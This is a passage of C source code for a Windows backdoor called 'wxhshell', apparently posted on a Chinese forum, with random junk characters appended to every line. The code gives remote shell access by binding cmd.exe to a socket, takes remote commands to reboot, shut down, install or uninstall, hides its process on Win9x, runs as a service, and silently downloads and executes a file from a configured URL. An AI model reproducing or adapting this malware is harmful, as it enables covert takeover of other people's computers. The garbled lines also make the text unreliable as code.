  } 7CrWsQl u  
  else { ==UH)o`?8  
2&Wc4,O!i  
    switch(cmd[0]) { 9-}&znLZe  
  /PHktSG  
  // 帮助 *k=Pk  
  case '?': { JMO"(?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]%shs  
    break; 3&x_%R  
  } @kI^6(.  
  // 安装 Jw;J$ u!d  
  case 'i': { i1|-  
    if(Install()) h'IBVI!P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h2h$UZIv  
    else V 1#/ +~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t=A| K    
    break; -I\_v*nA  
    } mIl^  
  // 卸载 )oHIRsr  
  case 'r': { Q0ev*MS9Z  
    if(Uninstall()) {[)J~kC+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V `@@ufU}  
    else j_p.KF'[?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d~GT w:  
    break; nCXIWLw  
    } gy9!T(z  
  // 显示 wxhshell 所在路径 %DzS~5$G  
  case 'p': { h1JG^w$ 5  
    char svExeFile[MAX_PATH]; @36^4E>h  
    strcpy(svExeFile,"\n\r"); M7!&gFv8  
      strcat(svExeFile,ExeFile); G8akMd]2  
        send(wsh,svExeFile,strlen(svExeFile),0); $\m=-5 0-  
    break; y~p7&^FeR  
    } F}i rCi47c  
  // 重启 !Y`nKC(=z  
  case 'b': { 36&7J{MU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @: %}clZ  
    if(Boot(REBOOT)) tEBf2|<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +>c)5Jih  
    else { pEhWgCL  
    closesocket(wsh); v2rXuo  
    ExitThread(0); <f{m=Dc  
    } w;r -TLf  
    break; ?ew^%1!W.  
    } f,`FbT  
  // 关机 3cQTl5,  
  case 'd': { CaZEU(i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C+-~Gmrb(7  
    if(Boot(SHUTDOWN)) H-7*)D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lE=Q(QUr  
    else { ]#S.L'  
    closesocket(wsh); \p [!@d^  
    ExitThread(0); _RY<-B   
    } LdVGFlcXi  
    break; r")=Z1y  
    } G0y%_"[  
  // 获取shell P#rwYPww\  
  case 's': { q0DoR@  
    CmdShell(wsh); LNk 3=v2M  
    closesocket(wsh); 1pO ;aG1O  
    ExitThread(0); q:1 1XPP  
    break; 6t/})Xv  
  } I2K52A+  
  // 退出 HmRwh  
  case 'x': { OXA_E/F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %#ms`"H  
    CloseIt(wsh); /KlA7MH6  
    break; <m UDx n  
    } z9;vE7n!  
  // 离开 P]r"E  
  case 'q': { zXUE<\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *b7 HtUA  
    closesocket(wsh); #BlH)Cv  
    WSACleanup(); @YWfq$23  
    exit(1); otX#}} +  
    break; &v3r#$Hj[  
        } 988aF/c  
  } `d3S0N6@  
  } g<}EL[9  
P{QRmEE  
  // 提示信息 nb0<.ICF%R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5g/^wKhKG  
} K2:r7f  
  } ]DC]=F.  
rv|k8  
  return; "eh"' Z  
} \+L_'*&8  
J,m.LpY  
// shell模块句柄 /x-Ja[kL  
int CmdShell(SOCKET sock) UkXc7D^jwm  
{ ><`.(Z5c  
STARTUPINFO si; N]+x@M @^3  
ZeroMemory(&si,sizeof(si)); #Yj0'bgK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %z8@;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =p&6A^  
PROCESS_INFORMATION ProcessInfo; Er{[83  
char cmdline[]="cmd"; CdTmL{Y1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `2r21rVntf  
  return 0; t$Irr*  
} B>a`mFM  
]~kqPw<R  
// 自身启动模式 b39;Sv|#  
int StartFromService(void) >k_Z]J6Pd  
{ !v`q%JW(  
typedef struct  s.GTY@t  
{  w8FZXL  
  DWORD ExitStatus; TSHp.ABf  
  DWORD PebBaseAddress; ] ^  
  DWORD AffinityMask; D8[&}D4  
  DWORD BasePriority; ?ADk`ts~,}  
  ULONG UniqueProcessId; 1T}|c;fc  
  ULONG InheritedFromUniqueProcessId; +".&A#wU  
}   PROCESS_BASIC_INFORMATION; 3%|<U51  
l\$_t2U  
PROCNTQSIP NtQueryInformationProcess; \Xxx5:qM  
 4uU(t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =bv8W < #  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '[\%P2c)Q  
*p.ELI1IC  
  HANDLE             hProcess; :*c@6;2@  
  PROCESS_BASIC_INFORMATION pbi; \O7,CxD2  
2(`2f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @J" }~Y  
  if(NULL == hInst ) return 0; UxzwgVT  
]e?*7T]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r OB\u|Pg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nV']^3b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #docBsHX&s  
Dq2eX;c@  
  if (!NtQueryInformationProcess) return 0; 1Rp|*>  
6LvUi|~"<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y=  
  if(!hProcess) return 0; &Lq @af#  
O]{H2&k@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X8;03EW;  
unD8h=Z2  
  CloseHandle(hProcess); o/=K:5  
$I1p"6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \?qXscq  
if(hProcess==NULL) return 0; |l)Oy#W  
TTy1a:V  
HMODULE hMod; X]y3~|K  
char procName[255]; rM>&! ?y+  
unsigned long cbNeeded; @X\nY</E#M  
g`J? 2 _]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eTrGFe!8w  
#"7:NR^H^  
  CloseHandle(hProcess); C: e}}8i  
xn}'!S2-b  
if(strstr(procName,"services")) return 1; // 以服务启动 CB?.| )Xam  
~@got  
  return 0; // 注册表启动 W"!nf  
} 06Uxd\E~  
;iS}<TA  
// 主模块 zh50]tX  
int StartWxhshell(LPSTR lpCmdLine) R 8Iac[N  
{ Y|B/(  
  SOCKET wsl; o_\b{<^I  
BOOL val=TRUE; 6[qRb+ds  
  int port=0; N?87Bd  
  struct sockaddr_in door; df8rf8B-  
G]&:">&R  
  if(wscfg.ws_autoins) Install(); t.knYO)  
[$H8?J   
port=atoi(lpCmdLine); SB  \ptF  
]]`+aF0  
if(port<=0) port=wscfg.ws_port; D 3Int0n  
1/1P;8F@G  
  WSADATA data; -,4_ &V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *r9I 1W  
\nxt\KD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <T0-m?D_$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x!"!oJG^k  
  door.sin_family = AF_INET; *FG@Dts^&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _B W$?:)9  
  door.sin_port = htons(port); MX9 q )(:  
J`"1DlH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dYr#  
closesocket(wsl); lfI[r|  
return 1; "_q5\]z\O  
} *O 0*  
)k7`!@ID  
  if(listen(wsl,2) == INVALID_SOCKET) { yUH8  
closesocket(wsl); KrbNo$0%  
return 1; y?5*K  
} r0S7e3xb  
  Wxhshell(wsl); @H{$,\\  
  WSACleanup(); ]L_HnmD6  
K"=v| a.  
return 0; d[S C1J  
8Q6il-  
} S2fw"1h*x  
)Ba^Igb}  
// 以NT服务方式启动 /!%P7F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8n&",)U  
{ EkTen:{G  
DWORD   status = 0; P, S9gG9  
  DWORD   specificError = 0xfffffff; 9qqEr~  
jpBE| Nm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4|:{apH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8-SVgo(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h+$_:](PC  
  serviceStatus.dwWin32ExitCode     = 0; %F}`;>C3  
  serviceStatus.dwServiceSpecificExitCode = 0; ,:L}S03k  
  serviceStatus.dwCheckPoint       = 0; N!Y'W)i16  
  serviceStatus.dwWaitHint       = 0; /pyKTZ|  
FAQ:0 L$G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?T4%"0  
  if (hServiceStatusHandle==0) return; r_2  
YDQV,`S7  
status = GetLastError();  /?_{DMt  
  if (status!=NO_ERROR) wT.V3G  
{  &`@Jy|N\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jR/X}XQtY  
    serviceStatus.dwCheckPoint       = 0; z%;\q$  
    serviceStatus.dwWaitHint       = 0; {yG)Ii  
    serviceStatus.dwWin32ExitCode     = status; 8D+OF 6CM  
    serviceStatus.dwServiceSpecificExitCode = specificError; a)Wf* <B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xH' H! 8  
    return; +Oyt   
  } Pq_Il9  
4Y)3<=kDG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k| jC c  
  serviceStatus.dwCheckPoint       = 0; :+R ||q i  
  serviceStatus.dwWaitHint       = 0; :*oI"U*f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A: @=?(lI3  
} >?$Ze@  
@u$oqjK  
// 处理NT服务事件,比如:启动、停止 <B`=oO%o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n%?g+@y,^  
{ O~t5qnu/}  
switch(fdwControl) 0{B5C[PTG  
{ L50`,,WF  
case SERVICE_CONTROL_STOP: [tBIABr  
  serviceStatus.dwWin32ExitCode = 0;  vb70~k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,*%8*]<=  
  serviceStatus.dwCheckPoint   = 0; <`N\FM^vo  
  serviceStatus.dwWaitHint     = 0; @:c 1+  
  { I H:Hf v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9#3+k/A  
  } ^SjGNg^ 7D  
  return; [M;P:@  
case SERVICE_CONTROL_PAUSE: Ot,sMRk'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; riBT5  
  break; Y.hrU*[J0  
case SERVICE_CONTROL_CONTINUE: cAiIbh>c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bMv9f J  
  break; L4[ bm[x  
case SERVICE_CONTROL_INTERROGATE: {{ wVM:1  
  break; MK"Yt<e(o  
}; MWB uMF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VvltVYOZA  
} r":<1+07  
GUcuD^Fe  
// 标准应用程序主函数 |Y])|`_'G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2cmqtlW"  
{ [&zP$i&  
APLu?wy7s5  
// 获取操作系统版本 +ATN2 o  
OsIsNt=GetOsVer(); .:lzT"QXI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D<rjxP  
]&9f:5',  
  // 从命令行安装 Z v~ A9bB  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ik}*7D  
O=-|b kO  
  // 下载执行文件 Mv9s  
if(wscfg.ws_downexe) { &O%Kj8)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;bA9(:?  
  WinExec(wscfg.ws_filenam,SW_HIDE); I{RktO;1  
} fB:M'A'  
DvhK0L*Qr  
if(!OsIsNt) { P!vBS "S  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZRX>SyM  
HideProc(); opIcSm&  
StartWxhshell(lpCmdLine); 0CDTj,eK  
} t>25IJG  
else B@s\>QMm  
  if(StartFromService()) <&x_e-;b'  
  // 以服务方式启动 QOP*vH >J  
  StartServiceCtrlDispatcher(DispatchTable); tq*Q|9j7VG  
else _@@S,(MA  
  // 普通方式启动 n@%'Nbc>b  
  StartWxhshell(lpCmdLine); 2R5]UR S  
v)pdm\P  
return 0; ae^xuM?7  
}
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只看该作者 1 发表于: 2006-10-10
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